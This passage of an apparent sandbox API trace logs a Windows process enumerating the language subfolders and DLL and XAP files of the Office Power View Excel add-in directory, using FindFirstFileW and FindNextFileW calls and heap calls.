lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14ac0994, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14bcb9e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ko.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.369] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14ac0994, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14bcb9e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ko.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.369] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.370] GetProcessHeap () returned 0xaf0000 [0280.370] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.370] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0280.370] GetProcessHeap () returned 0xaf0000 [0280.370] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.370] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0280.371] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.371] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6089d0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6089d0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x152f2ade, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc42c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.371] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.371] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9992797, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9992797, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.372] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b78b8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b78b8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4918, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.372] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x152a6704, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.lt.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.372] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x152a6704, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.lt.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.372] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0280.373] GetProcessHeap () returned 0xaf0000 [0280.373] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.373] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0280.373] GetProcessHeap () returned 0xaf0000 [0280.374] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0280.375] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.375] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf035e09d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.375] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0dcc568, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.376] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.376] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf475131d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.376] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f891, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.lv.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.376] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f891, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.lv.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.376] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0280.377] GetProcessHeap () returned 0xaf0000 [0280.377] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.377] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.377] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3fa6c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap", cAlternateFileName="MICROS~1.XAP")) returned 1 [0280.377] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22a9f7a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Reporting.Common.dll", cAlternateFileName="MIB9B1~1.DLL")) returned 1 [0280.377] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.dll", cAlternateFileName="MID48A~1.DLL")) returned 1 [0280.377] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7d7750, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7d7750, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.Entry.Interfaces.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.377] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0280.377] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Authorization.dll", cAlternateFileName="MIBBB9~1.DLL")) returned 1 [0280.378] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c3d17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c3d17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Interfaces.dll", cAlternateFileName="MI2DB2~1.DLL")) returned 1 [0280.378] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7641936, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7641936, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5556e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ProgressiveProcessing.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.378] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0280.378] GetProcessHeap () returned 0xaf0000 [0280.378] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.380] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.380] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.381] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.381] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61fe8c4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61fe8c4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.381] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.381] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ab259c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ad884b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e046, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ms.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.381] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ab259c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ad884b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e046, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ms.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.381] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.382] GetProcessHeap () returned 0xaf0000 [0280.382] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.382] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0280.382] GetProcessHeap () returned 0xaf0000 [0280.382] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.382] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.384] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.384] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4d48116, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4d48116, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc46b8, dwReserved0=0x0, 